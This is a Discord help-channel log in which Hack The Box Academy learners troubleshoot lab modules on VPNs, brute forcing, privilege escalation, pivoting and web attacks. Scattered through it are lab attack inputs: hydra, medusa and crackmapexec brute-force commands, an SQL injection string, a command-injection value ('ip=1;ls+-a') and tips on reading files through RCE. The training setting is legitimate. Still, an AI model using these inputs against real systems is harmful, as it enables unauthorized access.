Hello all, looking forward to dive deeper into cybersecurity. Currently finish my AAS. Information Technology - Programming (ETA August 2025) & have decided to pivot and get more into cybersecurity. Found myself not really enjoying full on coding. Am i crazy for pivoting lol fyi im 30yrs old

[stuck hollow]

you can dm if you want

<@&861185840277487616>

[dim cosmos]

does silver or gold in the academy open up additional VPNs? I'm in asia pacific and latency for some of the RDP-based modules is painful

[fathom pendant]

no; there's no different vpns

[hexed oyster]

is it common for LFI vulnerabilities to cause problems with the server?

[waxen totem]

LFI alone: not too high risk, have sensitive files readable? Higher risk, can attacker also write to some place? (Eg logs etc) oh no~ RCE

[hexed oyster]

@waxen totem thanks. only reason I asked is because my target kept becoming unreachable.

[waxen totem]

Not likely but if your LFI involves a lot of requests it can DDoS

[hexed oyster]

I suppose these don't really need to be the most resource heavy containers/vms.

[waxen totem]

Id swap VPNs if your connection keeps dropping

[twilit scaffold]

hi

[cloud urchin]

Not here.

[lapis plinth]

what?

[inland oak]

it says 'commandnotfound'

box Tier 2 : ARCHETYPE

[cloud urchin]

Best to ask for help in #boxes

[thin citrus]

When I test below regex with "^.@[A-Za-z]\.[A-Za-z]*$" regex101 shows no match found but in the course 5 matches found.
How is the course content shows 5 matches and on the site zero?

course content:

[waxen totem]

you have two slashes instead of one, it's looking for a slash in the middle

[thin citrus]

Nice catch

[jaunty anvil]

Hey how can I hunt my first bug Bounty pls help

From where should I start from

I know the basics

@thin citrus

@fathom pendant

[thin citrus]

@jaunty anvil I have never done bug Bounty hunting

[hardy spire]

Not a correct channel to ask about it.

[cloud urchin]

This isn't the channel for bug bounty discussion, please don't randomly ping people. This channel is for discussion of the HTB modules.

[fathom pendant]

@jaunty anvil don't ping random people

[cloud urchin]

@jaunty anvil Please read the #rules and follow the instructions in #welcome to gain access to most channels.

[jaunty anvil]

Then where is it pls help

[wooden seal]

Doing win privesc {Windows Built-in Groups}
when trying to use this command '$key = Get-BootKey -SystemHivePath .\SYSTEM' gets below error
(i folllowed the Module Walkth and got this error) (i got the flag was just doing it for practice)
Get-BootKey : Requested registry access is not allowed.
At line:1 char:8

• $key = Get-BootKey -SystemHivePath .\SYSTEM

•    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  

  • CategoryInfo : OpenError: (:) [Get-BootKey], SecurityException
  • FullyQualifiedErrorId : GetBootKey_OtherError,DSInternals.PowerShell.Commands.GetBootKeyCommand`

[wooden seal]

what tool or site is this?

[thin citrus]

@wooden seal https://regex101.com/ but it was the escape slash

[stone elk]

Hello,
I believe there is an issue with Attacking Windows Credential Manager section on Password Attacks module. I cannot access the target, it is just not pinging back. I have tried switching servers, I have tried using VPN as well as using pwnbox, it still doesn't work. Could someone double check if this is my issue or if the lab is broken? Appreciate it

[fathom pendant]

sometimes windows targets may not respond to pings, did you try to RDP?

[stone elk]

Never came across this issue, thank you I am just dumb 🙃

[vast bolt]

hey

where can i share some idea for the pwnbox ?

[fathom pendant]

/feedback

this channel is for discussion and help regarding the academy modules

[vast bolt]

thanks !

[fathom pendant]

if you want access to more of the server -> #welcome

[cloud mural]

Hello

I'm here to learn from scratch, can I learn something?

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[storm elk]

@cloud mural 👆

[cloud mural]

Thank you 🐧

[west arrow]

anybody else's VM freezes when running ZAP active scan, it get's to 39% and then freezes the whole VM

[pallid shore]

Hello everyone 😃

[west arrow]

Nevemind, fixed it

[digital willow]

Hi, I'm a beginner.
Can someone explain how the PE works on the Tombwatcher machine?
Thanks ; )

[storm elk]

For boxes, please ask in #1380967904429871275 or #boxes

if you cant access mentioned channels, read and follow #welcome

[digital willow]

okay, thank you

[solemn vale]

Hello, I am struggling on the LLM Output skill assessment, can i ask a little question to someone who finished it ?

[storm elk]

sure @solemn vale

[faint rampart]

ahh I see, I thought it was a UAC value that was being referred to as "non default privilege". Thanks man!

[tall saffron]

there is a problem in the android fundamentals - skill assesment, the second question about the UID of the application com.android.settings

[storm elk]

please post in #1234357888114364508

English only @languid remnant

and please dont spam

[languid remnant]

Okay

[storm elk]

Don't advertise @languid remnant

read #rules

[flint palm]

Yes there are dozens of problems in that module and I reported it many times to get improved

if you have some questions contact me I will try to guide

[marble stone]

hey hii everyonee

[storm elk]

hello, please read #rules and #welcome

[wooden seal]

still need help with this

[storm elk]

Not everything in the sections can be reproduced on a target

[wooden seal]

thanks, i was stressing thinking i am doing something wrong lmao

[storm elk]

I had the same issue few days ago 😅

[waxen totem]

did ya do the UAC bypass one? Was the flag just on the desktop? 😂

[storm elk]

it mentions to do X Y Z and if you are done, just read the flag

[waxen totem]

I mean I skipped all the "check the privs" "run the dll" cos I knew I could just skip straight to the path loaded dll as system

[storm elk]

I am at the section pillaging now

Grace's password is what you are

[wooden seal]

omw to speedrun that now thanks for the leak

[thin citrus]

can someone help me with SQL injection inside the signup functionality, tried all field with a basic injection '//or//1=1-- and on the email [e-mail]. Need to write file.

[severe inlet]

SQL Injection fundamentals module?

[tall saffron]

it is time to update the new android static analysis modules xD

because on APKCombo it is XAPK for arm and it will not work on the emulator x86_64

between the android studio part where it uses old UI and some others stuff, it became debugging the course xD

[idle cliff]

Is it just me, or do a lot of the HTB academy skill checks involve doing things that have zero relevance to what they're teaching in the actual module you're on? It's pretty frustrating. You'll read a mind numbing amount of information thinking you're about to apply that in the skill check, only to realize that passing the check involves something that hasn't even really been taught

[dim hound]

Does someone has this too on CAPE Module: https://academy.hackthebox.com/module/263/section/3092 ```powershell
PS C:\Tools> .\SharpWSUS.exe inspect

---

/ || | __ _ _ __ _ \ \ / / || | | / |
_ | ' \ / _` | '| ' \ \ /\ / /_ | | | ___
) | | | | (| | | | |) \ V V / ) | || |) |
|/|| ||_,|| | .__/ _/_/ |/ ___/|/
||
Phil Keeble @ Nettitude Red Team

[*] Action: Inspect WSUS Server
Something went wrong, unable to detect SQL details from registry.
Something went wrong, unable to detect SQL details from registry.

[!] Unhandled SharpWSUS exception:

System.NullReferenceException: Object reference not set to an instance of an object.
at Connect.FsqlConnection()
at SharpWSUS.Commands.Inspect.Execute(Dictionary2 arguments) at SharpWSUS.Args.CommandCollection.ExecuteCommand(String commandName, Dictionary2 arguments)
at SharpWSUS.Program.MainExecute(String commandName, Dictionary`2 parsedArgs)```

I reverted the lab twice now, the powershell windows has been executed with admin privs (also tested a window without admin privs)

[west arrow]

Skill assessment, Web proxies
Can I not use ZAP for this?
The hint mentions burp

[faint hamlet]

Every exercise is solvable from ZAP, but I needed to install script for to hex payload processor, I think it was this one?

[waxen totem]

It's possible with ZAP cos I was already familiar with burp I did the entire module with ZAP

[faint hamlet]

Same, it allows us to fuzz at normal rate and has some auto scanning functionality

[west arrow]

but i cannot fuzz the last character and decode the whole cookie at the same time

[faint hamlet]

It can, use payload processors

[gray yacht]

Are you on the WSUS server or the other host?

[dim hound]

srv01 😁

[gray yacht]

You're gonna wanna get on WSUS.

[dim hound]

ohh okay, thanks!

[west arrow]

I am

[modern siren]

Hello

Is anybody online?

[silk lagoon]

Hello

[gray yacht]

@modern siren please read #rules and #welcome

[modern siren]

It doesn't allow me to enter general chat though

[gray yacht]

Follow the information in welcome

[west arrow]

can i get a hint?

im adding a # to the end of the cookie to then fuzz it, but then i can't add another fuzz to enconde the whole cookie including that # that im already fuzzing

[river grove]

Sounds like you are doing the modules in wrong order?

[west arrow]

can i get a hint?

[faint hamlet]

sure dm

[thin citrus]

anyone for #modules message tried many things in the signup form but to me it is not possible. Also as a second-order not working

[faint hamlet]

btw your process is flawed, rethink your approach as everything need to be encoded

[velvet elm]

my mind is broken guys i studied 12h today all about web hacking

[outer stone]

Applications of AI in InfoSec => Model Evaluation (Spam Detection) => model submission (workspace VM doesn't have the required service started to submit a model...anyone else have this issue?)

[somber knoll]

Hey I need some help I am new to Linux and was trying to open the VPN file provided in the academy but openvpn keeps giving error in the terminal .
I am using ubuntu on a VM

[outer stone]

What's the error?

(screenshot?)

[somber knoll]

Give me a minute I will share the image

[outer stone]

sudo openvpn <path to vpn file>
example: sudo openvpn username.ovpn

[somber knoll]

Yup did that

Numerous time

@outer stone

[silk lagoon]

Just cd into Downloads and take off Downloads in the command using only the file

[somber knoll]

Same error as the second

[outer stone]

openvpn --version

[outer stone]

https://forums.openvpn.net/viewtopic.php?t=31516

[silk lagoon]

after this you can try
sudo openvpn --config <filename> --daemon &>/dev/null
It always works for me and others who had the similar issues with openvpn

[outer stone]

and then you'll never see any errors...

[outer stone]

get it working?

[somber knoll]

Ok let me try and get back

Also I am doing the linux fundamentals module and any other resource you would recommend for starting with linux

If any suggestions

@outer stone

[outer stone]

update it if possible, I think that's the issue (the openvpn profile downloaded is using options your client for openvpn doesn't support or doesn't have enabled)..?

[outer stone]

100% - complete this: https://overthewire.org/wargames/bandit/

[sly estuary]

Hello I have a question
Am I able to download ParrotOs onto my windows laptop? Currently reading over “Setting up” within the Information Security Foundations module

[outer stone]

https://www.parrotsec.org/download/ yup

[sly estuary]

Thank you!

[wanton estuary]

Has anyone completed poc and patching - null safety? I'm stuck trying to enumerate the admin id. I've only seen the user id returned in two places but can't see how to exploit them

[outer stone]

what module is that under..?

[wanton estuary]

Parameter logic bugs

[cloud urchin]

@sour plaza Please make sure not to reveal content from modules above tier 0

[fathom pendant]

You can download the iso or prebaked vm, but it's an OS, you can't just "run it" in windows.

[sly estuary]

Gotcha so gotta do it via virtual box to run it through a vm on my windows laptop

[fathom pendant]

Or via wsl (windows subsystem for linux) which there's also a guide for but wsl is very shaky with networking issues

[sly estuary]

I saw that too! But did see there’s some cons going that route

[fathom pendant]

Or via vmware, which is just another hypervisor

[sly estuary]

Gotcha! I’ll def do that when I get home from work today

[idle cliff]

No I'm not. An example is the local privilege escalation lessons. I'm just going through them in the order in which I've unlocked them. The most recent one I did taught a bunch of different methods for finding ways to escalate privileges, "Environment Enumeration" the task is: Enumerate the Linux environment and look for files that might contain sensitive data. Submit the flag as the answer.

The problem is you don't actually use any of the methods listed in the current lesson to find the flag.

[flint palm]

I have the same issue and can't solve to be honest

[fathom citrus]

Hi, just getting started in the Academy. On the Fundamentals Module. VMs. Downloaded and imported the WinDev2704Eval VM from the link in the module. However, when I boot it up it goes straight to a Blue Screen of Death! I've downloaded it twice in case it got corrupted but to no avail! Can anyone help!?

[flint palm]

Download VMWare Workstation Pro for personal use it is free for personal use install Kali ISO on it and enjoy life

[fathom citrus]

I've managed to install, Proxmox, Parrot and the full install ISO of Kali too. Just wanted get 'em all on!

What's VMWare Workstation Pro like to use, then? Compared to VirtualBox?

[tardy lynx]

I don't know how to use de virtual machine on the Htb platform

It's have a VPN but I don't really know how to use it

The question at the bottom I couldn't answer those

[lofty shore]

https://academy.hackthebox.com/module/57/section/491
Login Brute Forcing Module
'Medusa - Web Services' section.

Using the same command given in the section:
medusa -h <IP> -n <PORT> -u sshuser -P 2023-200_most_used_passwords.txt -M ssh -v 5 -t 1

I get this output:

ERROR: ssh.mod: Failed establishing SSH session (1/4): Host: 94.237.59.174 User: sshuser Pass: 123456
ERROR: [ssh.mod] Failed to exchange encryption keys. Are you sure this is a SSHv2 server?
NOTICE: [ssh] Host: 94.237.59.174 - Login thread (0) prematurely ended. The current number of parallel login threads may exceed what this service can reasonably handle. The total number of threads for this host will be decreased.
NOTICE: [ssh] Host: 94.237.59.174 User: sshuser Password: 123456 - The noted credentials have been added to the end of the queue for testing.
ERROR: ssh.mod: Failed establishing SSH session. The following credentials have been added to the missed queue for later testing: Host: 94.237.59.174 User: sshuser Pass: 123456
ERROR: ssh.mod: Failed establishing SSH session (1/4): Host: 94.237.59.174 User: sshuser Pass: 123456
ERROR: [ssh.mod] Failed to exchange encryption keys. Are you sure this is a SSHv2 server?
NOTICE: [ssh] Host: 94.237.59.174 - Login thread (0) prematurely ended. The current number of parallel login threads may exceed what this service can reasonably handle. The total number of threads for this host will be decreased.
NOTICE: [ssh] Host: 94.237.59.174 User: sshuser Password: 123456 - The noted credentials have been added to the end of the queue for testing.
ERROR: ssh.mod: Failed establishing SSH session. The following credentials have been added to the missed queue for later testing: Host: 94.237.59.174 User: sshuser Pass: 123456```

I changed `-t 3` to `-t 1`  and have restarted my instance.
When I `nc IP PORT`, I get the SSH banner:
`SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10`

And hydra does it fine with this:
hydra -l sshuser -P 2023-200_most_used_passwords.txt -f -V ssh://94.237.59.174 -s PORT

[acoustic owl]

The IP address 94.237.59.174 appears to be a Docker container. You probably also got a port. Only this one port is usable for you.

[gray yacht]

What if you just tried: medusa -h <IP> -n <PORT> -u sshuser -P 2023-200_most_used_passwords.txt -M ssh

[lofty shore]

The only port I've been using is the one I was given

I just didn't include it in my message because I wasn't sure if I was meant to share it publicly

[lofty shore]

Just tried and get the same error messages

[flint palm]

You don't need to use them all. You need to use either Kali or Parrot not all of them. You have to download VPN file open it and connect this way to HTB.

[gray yacht]

You can DM if you'd like.

[lofty shore]

Thanks 🙂

[idle cliff]

Was this in response to my statement?

[flint palm]

yes

[slender jolt]

Can anyone assist me with the detecting windows attacks with splunk skills assessment? I am stuck on the print nightmare and bloodhound question. Can anyone point me towards the correct direction? I’ve tried using the zero logon splunk searches but nothing comes up

[languid vortex]

Any idea's for troubleshooting?

Throughout this module, I have had this problem whenever I attempt to use a TGS to the specified resource.

[naive sage]

Defensive modules are the most reading and confusing.

[idle cliff]

I just sent you a DM about it

[dreamy python]

Can someone teach me what are SQL injections ?

[graceful urchin]

https://academy.hackthebox.com/module/details/33

[dreamy python]

I don't click links btw

[graceful urchin]

lol

[cloud urchin]

That's the module that will teach you. This channel is specifically for the modules on Academy. If you aren't on HTB then I'm not sure how you found this discord, but this discord server is for HTB related things.

[misty current]

Just google "sql injection htb academy" if you don't want to click links lol

[dreamy python]

Well what's so lol about it ?

We all know how unsafe links are these days,....

[dreamy python]

I found this on a discord advertisement

[dreamy python]

Better approach, thank you

[cloud urchin]

So you clicked a link to join then?

[graceful urchin]

708/1480 MB (256 MB allocatable)
Increase the amount of RAM your VM has

[gray yacht]

Refrain from posting content from modules over Tier 0, especially content that contains sensitive information i.e., hashes.

[quasi wave]

ok got it

[cloud urchin]

@quasi wave Please remember you're asking for help from people who have completed these modules. There is no need to post info spoiling content above tier 0. Just articulate your problem and maybe provide the error or something. You have been asked a lot to stop.

wake up babe, new academy module just dropped 🔥

[idle cliff]

You ask about SQL injection inside a Hack The Box discord. Someone responds with the proper Hack The Box module in the academy, and you refuse to click it? You're going to have a hard time in this industry 😬

[quasi wave]

sorry I am working on it I have compulsion problems with stuff like that but I am working on it

[quasi wave]

hi I am on the last question of the skills assessment section of pivoting tunneling and port forwarding module. The way to get credentials from the machine that worked on the second pivot in order to get into third pivot does not work when trying to use the third pivot to get into the fourth pivot. Obviously, I am still trying credential hunting and I managed to get the third pivot. I also cannot enumerate the fourth subnet where the DC is using nmap. I tried LOLing it. Anyone know what to do in order to get the fourth pivot in order to get into the DC?

I don't want to post specific commands because I'm 99% certain I'll end up spoiling it

I need credentials for the other user so I can log into their folder

right now I am RDPd into third pivot box

[plain charm]

you can describe the steps. if you fear you'l spoil it. you can DM me

[south marten]

Yey, someone Complete credenciales hunting in shares ( password attack) im stacked and I really apreciate a hint

[plain charm]

Be specific in your questions. did you stuck on the assessment? or something else

[south marten]

Im stucked in the Section, I Do rdp, and i use Both programs in Windows server ( snaffler.exe With the recomended paramaters, but its imposible to read) and PowerHuntShares that give me and error

[stuck hollow]

hey, did you use nxc --spider ?

[south marten]

ey, i use it with mendres credentials and i give other erros

[stuck hollow]

mmm strange

if you want dm me

[south marten]

you got something with netexec --spider?

[stuck hollow]

wanna see tht nxc error

[south marten]

im doing again the netexec comand, the moment i recieve the error i say you

[icy osprey]

Im also doing the same task right now, and I get that error. Been stuck on it for 4 hours now and it's a bit weird...

[south marten]

i just resolve first question, feel fre to dm

o dm @stuck hollow, he help me without saying me the response directly

[stuck hollow]

glad can help you

[icy osprey]

Great! Thank for the help @stuck hollow

[fathom pendant]

Did you look into the availabile shares?

[quasi wave]

No I will look tomorrow tho

[gaunt forge]

ended up doing a module skills assement and got root the not intended way

anyways i found a file showing me how to do it the legit way and it included imgur links lol i think this is more written for htb staff? not sure

but cool find. im glad i found it bc i had root but i couldnt figure out the normal method of attack

it even links to an imgur with the actual flag for the machine, which i didnt find before

[fathom pendant]

Generally there's not many unintended methods but reach out to support or post in #1234357888114364508 or submit /feedback to actually bring the issue to the team. Otherwise it's going to get buried in the chat

[lime cosmos]

why the first question in the new Credential Hunting in Network Shares module it auto response i don;t remember that i slove it before

[fathom pendant]

Likely a renamed section so it automatically filled bc db shenanigans

[lime cosmos]

lol i don't remember how i solve it

i am trying the hole day ...

[fathom pendant]

it's likely the actual answer isn't what's autofilled in

[lime cosmos]

i think so

i will check

so better i start with the first question ?

[fathom pendant]

yeah

[rustic sage]

I'm doing the Attacking WPA/WPA2 Wi-Fi Networks module and am stuck at the last question of the section Enterprise Evil-Twin Attack.
I have the username (q1) and password(q2) and all I need for q3 is: " Connect to the HTB-Corp WiFi network using the obtained credentials. What is the value of the flag at 192.168.1.1? "
I've tried every security setting with the found username and password, but for the life of me can't connect to the htb-corp wifi. Any hints?

[void swift]

guys i am just starting out and am on the setting up module
im trying to install the vm manager and promox but when selecting the install promox ve (graphical) option in the promox vm
i just get a black screen on that window and nothing has happened now for the past 10 mins
any help?

[fathom pendant]

you don't have to install proxmox

[granite furnace]

Hi there, anyone have any idea how a web PDF uploader can get me a reverse shell. Have tried using double extensions, %00 to escape, and that msf module to embed reverse shell into pdf. Still no luck, target is running on win64 apache web server

[fathom pendant]

what academy module is this for?

[waxen totem]

Sounds familiar~ Is this for a box?

[granite furnace]

oh no, not a module, just wanted to know what else I could look into

bouta pull my hair out ughhh

doesnt seem to process wtv PHP crap i placed in the file too zzzz

[waxen totem]

If it's not for a module this ain't the channel for it,

If it's for a box, #boxes
and if you don't have access~ follow #welcome instructions

[fathom pendant]

well if it's not for an academy module read and follow #welcome to gain access to #web as i believe that's the most applicable channel. Unless it's for a box then #boxes

this channel is specifically about help with academy modules.

[granite furnace]

alrighty, thanks

[fathom pendant]

https://tenor.com/view/spider-man-we-one-gif-18212100

[hallow kiln]

Proxmox is not meant to be installed as a VM, it was a very long time ago that I went through that module, do they talk about Proxmox now? Set up virtualbox or VMware workstation since it's free now

[fathom pendant]

yeah they changed the module around

updated for newer versions of stuff

[vital zodiac]

Hi
I'm stuck in Suricata section in Working with IPS/IDS module

How can I solve this problem?

Enable the http-log output in suricata.yaml and run Suricata against /home/htb-student/pcaps/suspicious.pcap. Enter the requested PHP page as your answer. Answer format: _.php

[untold snow]

Hello!

[fathom pendant]

this isn't #general read and follow #welcome instructions to access more of the server

[glad token]

I am in Using Web Proxies - Burp Intruder. For the question, it asks to use Intruder to fuzz for .html files under the /admin directory. I was able to find the file using gobuster, but in intruder, it passed over the exact file with 404. I took the request to Repeater and added the right extension and it worked there. Not sure why it did 404 in the Intruder.
I am using Community Edition of Burp and it is running on my own Kali VM.

[upbeat iron]

have you examined the full response it gives for the 404?

[fervent sonnet]

How to fetch data of htb Api

Well building a web there user can see our team rank and members and points etc. Thats why I need an Api to do it automatically

[fathom pendant]

there's documentation the community has put together online

[fervent sonnet]

Can u share that document link

[upbeat iron]

lmao, it is always right when you are ready to give up that if you give it one more try you will get a break through

[fathom pendant]

you can probably google and find it; 'postman htb api'

[fervent sonnet]

Yeah I did it but I don't understand the document it needs authorization bearer key to fetch api so where I can find it

[fathom pendant]

doesn't the docs explain that?

either way, not a convo for this channel, read #welcome to find/gain access to more of the server

[silk lagoon]

Make sure you had url encoding off

[sacred basin]

am I doing anything wrong in "Information Gathering - Web Edition: section-Virtual Hosts" module, heres the ques: Brute-force vhosts on the target system. What is the full subdomain that is prefixed with "web"? Answer using the full domain, e.g. "x.inlanefreight.htb"
please someone help

[fathom pendant]

--append-domain but what's the domain? it doesn't automagically know that 😉

[sacred basin]

it worked thankyou so much

[vital zodiac]

Hi
I'm stuck in Suricata section in Working with IPS/IDS module

How can I solve this problem?

Enable the http-log output in suricata.yaml and run Suricata against /home/htb-student/pcaps/suspicious.pcap. Enter the requested PHP page as your answer. Answer format: _.php

[faint hamlet]

It is literally in plaintext in packet capture, just think what protocol would most likely be used in which we would realistically provide credit card info? and answer is in same format. in which credit card number is found.

It is "xxxx xxxx xxxx xxxx", I think it is pretty clear from packet capture? (Dont include the quotes)

In attacking common application module, osticket section, isn't question worded a little wrong? "Find your way into the osTicket instance", when we just need to login using creds provided in section walkthrough? It is not mentioned anywhere that is the case.

[jolly hemlock]

im unable to find out the zap HUD in the browser

[fathom pendant]

as a tip @onyx stag please include the module and section name; not the /module/NN/section/NNNN endpoint, unless someone was just on that page it takes a bit longer for people to figure out what you're talking about

[jolly hemlock]

i mean it's not showing as in the module

[faint hamlet]

check if the last icon is enabled like this.

[nova berry]

i cant rdp to my machine , can anybody help ?

[jolly hemlock]

yes

even if i turn it on the HUD is not showing in the inbuilt browser

[nova berry]

anyone ?

[faint hamlet]

did you visit some url or are you on default page?

[jolly hemlock]

I'm using the pawnbox too

[jolly hemlock]

I've visited the given url

selected maual scan

then pasted the url with HUD option on then launched the browser

[faint hamlet]

reproducing these steps give me HUD on my kali machine.

[jolly hemlock]

why doesn't mine give me the zap HUD 😭😭😭

I've been using burp as an alternative

[faint hamlet]

dm and share screenshot

[jolly hemlock]

okay

[fathom pendant]

ZAP hud isn't really required

[crimson leaf]

Hey, anyone here done the tier 3 HTTP Attacks module? I am stuck on the HTTP Response Splitting exercise. I can get it working via my browser, but when I submit it to the admin, it just fails with no obvious reason why. Not sure if I am missing something but any nudges or assistance would be appreciated

[nova berry]

I CANT RDP INTO MY MACHINE CAN SOMEONE HELP ?

i am using opevpn windows client to connect to vpn

and normal rdp service to join target machine but still its not happeing

[south marten]

What Do you mean With " autoresponve"?, only curious

[fading moon]

Hi

I want a suggestion

I just know the basics of computer..want to start hacking...from where should I start..like a roadway..

[fathom pendant]

this isn't #general ; read and follow #welcome to access more of the server

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[fathom pendant]

if you want some general starting pointers ^

[fading moon]

I mean what to learn

[fathom pendant]

it's a wide field my guy; that's why i pointed to the basic starting guide

[jolly hemlock]

yea I've figured

need help with the section repeating request

mind if i dm @fathom pendant ?

[fathom pendant]

no dm

[jolly hemlock]

okay

[nova berry]

where do i get my technical issues solved ?

[fathom pendant]

@rain birch don't dm people without asking

[compact patrol]

https://help.hackthebox.com/en/articles/5987511-contacting-academy-support

[fathom pendant]

@nova berry ^

[jolly hemlock]

need help with section repeating requests guys

how to navigate through that ip=1;ls+-a?

[rain birch]

@fathom pendant sorry, I was just trying to get help,

[south marten]

@fathom pendant can i dm you, its for a question, not about the modules

[fathom pendant]

you can ask here. also you can utilize discord's search feature to see if other people asked the same question 😉

[fathom pendant]

what is it about?

[south marten]

LinkedIn I Think

[rain birch]

@fathom pendant I used the search engine within the module and saw that those people had had the same problem and I didn't find the solution, so I asked them. I'm sorry if I bothered anyone at any time and I apologize.

[fathom pendant]

genuinely can't help there

[fathom pendant]

i doubt they didn't find the solution

but i'll tell you the answer to your question is: read carefully

[south marten]

If it's really worth it when you finish a course at the academy, upload it on LinkedIn., that's the question, maybe its a stupid one.

[rain birch]

Se leer no soy estupido, tu respuesta suena arrogante

[silk lagoon]

You could just drop your question w/module here so others can see and help out..

[fathom pendant]

solo ingles, sabo que se dice. lee #rules

[fathom pendant]

also it wasn't arrogance; the answer to your question is in the section reading. They give you Bob's password

[south marten]

marcialee, you know?

[abstract plank]

I need a hint for Q2 of the skill assessment for the crackmapexec module.
I found the ||sqldev ||cred in the shared folder, but I'm stuck after that. I can't access interns or elevate privileges.
Thank you.

[south marten]

put your question here

[fathom pendant]

that's completely up to you

[south marten]

okay, thanks you

[lime cosmos]

i check the shares manual and i find a "password" i just trying to test the tool

[fathom pendant]

@lime cosmos the output still contained info 😉

[lime cosmos]

ls /home/kali/.manspider/loot => empty

[fathom pendant]

i meant that the copy/paste wasn't redacted enough lol

[south marten]

aaa, so you found the .txt

but, in my opinion, you can found the second question searching manually, but you need to look a lot of .txt

[lime cosmos]

yes i already find it

manually i just want test the tools now

[south marten]

you found the both password manually?lol

[thorny karma]

hey im doing the password cracking module i been stuck trying to answer the question "What are the credentials to access the Edge-Router?" for 2 days now in the hunting windows credentials section. I would appreciate any hints or help, i have already tried using findstr to look for relevent files but no results.

[south marten]

hello, you can find it manually

[thorny karma]

wdym

[south marten]

search well

[fathom pendant]

i believe it can be found by looking around the desktop for things

[south marten]

yes

[jolly hemlock]

need help with section repeating requests guys : how to navigate through that ip=1;ls+-a?

[thorny karma]

i have looked in the workstuff folder it only got 2 creds none of them worked

[south marten]

search well

its the only think i can say

[fathom pendant]

they are very explicit in telling you it's for the router iirc

[daring tundra]

Sigh. I just managed to solve a problem i encountered. i spent hours on some issue. skill issue as usual

[fathom pendant]

wdym "how to navigate?"

does that request give you a response?

[jolly hemlock]

yes it does

[fathom pendant]

you can't "navigate" with RCE; i.e. you can't change the directory

but you can run other commands

like cat or things like that

[jolly hemlock]

flag.txt(previous answer )
index.html
node_modules
package-lock.json
public
server.js

is the output

it asks for the flag in this section

[fathom pendant]

well ls looks in the current directory by default

but you can tell it to look at other directories

i.e. if you run ls / from any directory, it will always show the filesystem root list

[thorny karma]

i might be blind or smt but there is nothin in desktop router related

[fathom pendant]

not even the work folder?

[thorny karma]

omg im so stupid spent 2 days trying to find the creds within the C folder, when the answer is literally in front of me 😭

[jolly hemlock]

except flag.txt there are new directories

[fathom pendant]

maybe work backwards

[jolly hemlock]

cd ..?

[fathom pendant]

no

remember you can't cd with rce

[jolly hemlock]

ohh yess

[fathom pendant]

i already gave you a hint about how ls works

[jolly hemlock]

ls ?

[fathom pendant]

if you ls ../ you ls the previous directory

[jolly hemlock]

ls ..?

[fathom pendant]

ls ../ <- previous
ls / <- filesystem root
ls <- current directory

like how you cd ../ to go back a directory

or cd /full/directory/path to cd to a specific directory

ls takes a path as an input

so you can list stuff in other directories

[jolly hemlock]

ive tried backwards but only showing one directory named html with no extension and used again showing some directories and used again the root directory is opened .

[jolly hemlock]

this is definitely something new for me thanks

[fathom pendant]

keep going backwards 😉

[jolly hemlock]

After root directory it keeps on repeating again 🫠

[fathom pendant]

are you sure the file is the same 😉

cat also allows you to specify reading a file with the full filepath

i.e. no matter where you are in the system you can always cat /etc/hosts

[jolly hemlock]

yes 😭

[fathom pendant]

did you try to read it? or did you do cat <filename> without changing anything specific

[jolly hemlock]

yes 😭 i did

[fathom pendant]

i.e. /somefile.txt is not the same as ./somefile.txt

when you don't specify the filepath; it assumes current directory (./)

did you specify that you want it to read the one at the filesystem root?

remember you aren't moving around with RCE, ls is just showing you what's in where you're looking

it's not moving you there

[jolly hemlock]

i understood now 🫠

learned something really new thanks a lot @fathom pendant 😭👍

[fathom pendant]

it something basic you should know about web requests

and LFI/RCE

[daring tundra]

just want to say, pivoting and tunneling is really important. you have to setup your attack host and pivot in 2 ways, traffic that goes out need to know where to return to

[jolly hemlock]

i will thanks 😭, doing this path seems like will teach me a lot that need for me real useful and besides hope you guys are there for me to help me out sometimes 🫠

[plain spruce]

hi guys, currently at footprinting -> snmp.

I feel like i kind of got really lucky with getting the answers on snmp questions and on IMAP/POP3 module.

i feel like its not valid how i got the answers by luck kind of if that makes sense..

did someone else struggle with this?

[fathom pendant]

what exactly do you mean by "got lucky," if you did the steps to get the answer it's not "luck"

[plain spruce]

well, as example in snmp module i just ran the snmpwalk tool with the community string shown in the examples. i didnt like bruteforce it or anything i just tried it and it worked. and now i feel like kind of dumb because its like i didnt struggle for it so its lucky?

i struggled so much in dns and so on that it feels kind of wrong? idk how to explain it better.

[fathom pendant]

not struggling doesn't mean you got lucky

[flat halo]

Guys I have recently joined this server
I am currently solving the Passwords Attacks module (Network Services) Section

I have solved the WINRM and SSH Bruteforcing questions
BUT the RDP and SMB is really messing with my head!!!
i have tried hydra medusa and crackmapexec and netexec
hydra just keeps saying user may be valid but not active in rdp bruteforcing for eternity
crackmapexec shows no error or output after entering my command just ENDS!!!

with hydra i am doing hydra -L username.list and -P password.list rdp://<target ip>
with crackmapexec i am doing crackmapexec rdp <target ip> -u username.list -p password.list

please give me hints or is there any mistake i am doing I have been stuck on the last 2 questions for hours

[plain spruce]

idk it just feel slike i cheated you know..

[fathom pendant]

you may have a chance to do bruteforcing in the skill assessment

[plain spruce]

yeah forgot about that!! thanks!

[flat halo]

i am stuck in the network services those last 2 questions related to RDP and SMB I cannot solve I have tried literally everything

[fathom pendant]

valid but not active for RDP means that the user may be able to be used to log in on a different service.

[flat halo]

lots of users were valid i mean a LOT!!! and then tries to establish connection with RDP and fails
I figured it was a timeout thing then used -W 2 -W 3 ig to increase delay between checks and kept threading at -t 4 but no progress

[fathom pendant]

yes because they aren't active for RDP; but they may have changed it from when i last did it

[flat halo]

it does say NEW beside the module so yeah i guess they did modify it and add new sections, the offline hash cracking portion was good but these last 2 questions of the network services
are really messed up I mean ... i spent hours debugging a tool and whats wrong with it . If possible please help in guiding me with RDP and SMB bruteforcing

[fathom pendant]

i suggest trying a different vpn region, tcp vpn (if you're using your own vm) if it's giving false positives for all logins, not just logins you discovered for other services

[flat halo]

I just want to ask is there any difference to doing certain module task in the pwnbox and my own vm
I just cracked the RDP password using the Pwnbox of the academy
same command in my own vm with vpn and everything enabled keeps showing errors
worked ssh bruteforcing with hydra but not with the RDP ?!!!

[south marten]

@flat halo which Section Are you doing

[flat halo]

Password Attacks

Network Services section

[south marten]

Can you pass me the link to the section

Nothing, I found it

What is the problem you have? @flat halo

